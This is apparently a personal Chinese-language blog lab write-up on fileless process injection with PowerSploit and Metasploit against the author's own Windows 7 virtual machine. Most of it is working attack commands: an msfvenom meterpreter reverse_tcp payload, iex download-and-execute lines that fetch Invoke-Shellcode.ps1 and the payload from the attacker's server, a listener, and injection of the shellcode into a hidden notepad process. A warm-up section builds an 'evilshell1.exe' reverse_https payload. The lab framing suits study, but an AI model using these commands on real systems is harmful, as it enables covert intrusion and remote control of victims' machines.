【EXP】利用powersploit实现进程注入

实验内容

实验名称

利用powersploit实现进程注入

实验环境

  • 靶机:windows7,主机名target
  • 攻击机:
  •  宿主机:macOS,主机名host
  •  虚拟机:kali,主机名vmhost
  • 使用工具:
  1. metasploit:制作木马
  2. apache2:提供下载
  3. powersploit:进程注入工具
  4. Parallels Desktop:虚拟机

 

解决问题

(1) 将木马代码注入到进程中,实现无文件攻击

(2) 解决肉鸡通过宿主机回连虚拟机

 

未解决问题

(1)已实现主机存活确认,但是未成功实现远程命令控制

解决:一开始用的reversehttps模块,只能知道靶机连上了但是没法发命令。后来改了reversetcp模块,就成了。坑爹啊

(2)改reverse_tcp之后,又发现很多命令运行不了,不知道为啥

【EXP】利用powersploit实现进程注入_第1张图片

 

实验过程

payload

用metasploit制作一个远程控制的木马,方便之后注入到进程中

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=host LPORT=4444 -f powershell -o /var/www/html/code1009

放在/var/www/html/目录是kali自带apache的网页目录。为了在kali上提供一个可以下载payload的链接。

如果没有开启apache服务,需要开启下

service apache2 start

配置端口转发

这边还遇到个问题。换了mac第一次整虚拟机,也不知道怎么弄-_-!

用的Parallels Desktop,可以在配置里面搞端口转发规则

【设备】-【网络】-【配置】-【高级设置】-【打开网络首选项】

在shared标签下可以配置端口转发规则。转发了80端口(apache服务器,下载木马的时候用到)和4444端口(msf反弹端口)

靶机下载payload

用到iex命令

该命令主要是执行指定字符串并返回结果

【EXP】利用powersploit实现进程注入_第2张图片

 

利用该命令从apache服务器下载并执行

iex(New-Object Net.WebClient).DownloadString('http://host:4321/power/CodeExecution/Invoke-Shellcode.ps1')
iex(New-Object Net.WebClient).DownloadString('http://host:4321/code1009')

msf进行监听

注意这边配置的时候LHOST要设置为虚拟机的IP。

一开始配了localhost,眉头一皱发现事情不对

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST vmhost
set LPORT 4444
exploit

主机上线

这时候可以运行了。先起一个进程

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

看一下对应的进程ID

 

Invoke-Shellcode -Shellcode ($buf) -ProcessID 4276

这边看到主机上线了

【EXP】利用powersploit实现进程注入_第3张图片

 

运行下命令

 

热身

做之前其实还做了个热身

  • metaspolit木马回连
msfvenom -p windows/meterpreter/reverse_https lhost=host lport=4444 -f exe > ./root/desktop/evilshell1.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST vmhost
set LPORT 4444
  • exe文件传到靶机上,管理员身份运行,能成功检测到上线

参考

  • https://www.freebuf.com/column/171993.html
  • https://www.secpulse.com/archives/55893.html

你可能感兴趣的:(攻防)